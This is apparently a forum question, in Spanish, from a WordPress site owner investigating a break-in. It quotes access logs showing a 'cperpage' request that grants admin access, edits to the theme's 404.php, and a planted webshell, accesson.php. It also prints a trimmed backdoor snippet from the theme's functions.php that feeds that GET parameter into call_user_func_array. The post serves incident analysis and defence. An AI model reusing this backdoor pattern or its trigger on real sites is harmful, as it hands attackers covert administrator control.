Tengo dos sitios que parecen haber sido hackeados. Revisé los registros de acceso y encontré estas entradas de registro:
"GET / HTTP/1.1" 200 20213 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25329 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php HTTP/1.1" 200 19478 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-admin/theme-editor.php HTTP/1.1" 302 0 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true HTTP/1.1" 200 19649 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
De acuerdo con estas entradas de registro, si parece que un hacker podría acceder a wp-admin/theme-editor.php
en mi sitio y modificar la página 404.php de mi tema para agregar su código como punto de partida.
Al usar los códigos agregados a mi 404.php, él / ella podría publicar datos específicos en esta página y crear los archivos necesarios como sus herramientas para los próximos pasos de un ataque como accesson.php
.
Mi pregunta es, ¿cómo podría un pirata informático ejecutar código con privilegios de administrador? ¿Es algún tipo de error o podrían acceder a él debido al malware que se estaba ejecutando en mi cliente al modificar mi sitio? ¿O fue una mala configuración de mi sitio web lo que llevó a esto?
Pregunta adicional: ¿Cuál fue su intención de enviar solicitudes de obtención como GET /?cperpage=1
? ¿Están intentando detectar CMS en mi sitio o alguna otra cosa?
P.S. Analicé el archivo 404.php comprometido en el total de virus y algunos de los antivirus lo identificaron como Generic.PHP.RansomA.8D9B55CA
o CPR1E7F.Webshell
.
Actualizaciones :
Llamé a mi sitio con example.com/?cperpage=1
y eventualmente abrí mi página de inicio después de esta llamada, esto lleva a abrir mi sitio con acceso de administrador. No sé cómo esta llamada condujo a la escalada de privilegios.
Miré dentro de los códigos de mi sitio y pude encontrar los detalles a continuación. cperpage
se utiliza dentro de /wp-content/themes/sahifa/functions.php
. Aquí está el fragmento:
function _prepared_widget(){
....
....
if(!isset($perpage)) $perpage=$_GET["cperpage"];
....
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
¿Hay alguna forma de solucionar esta vulnerabilidad?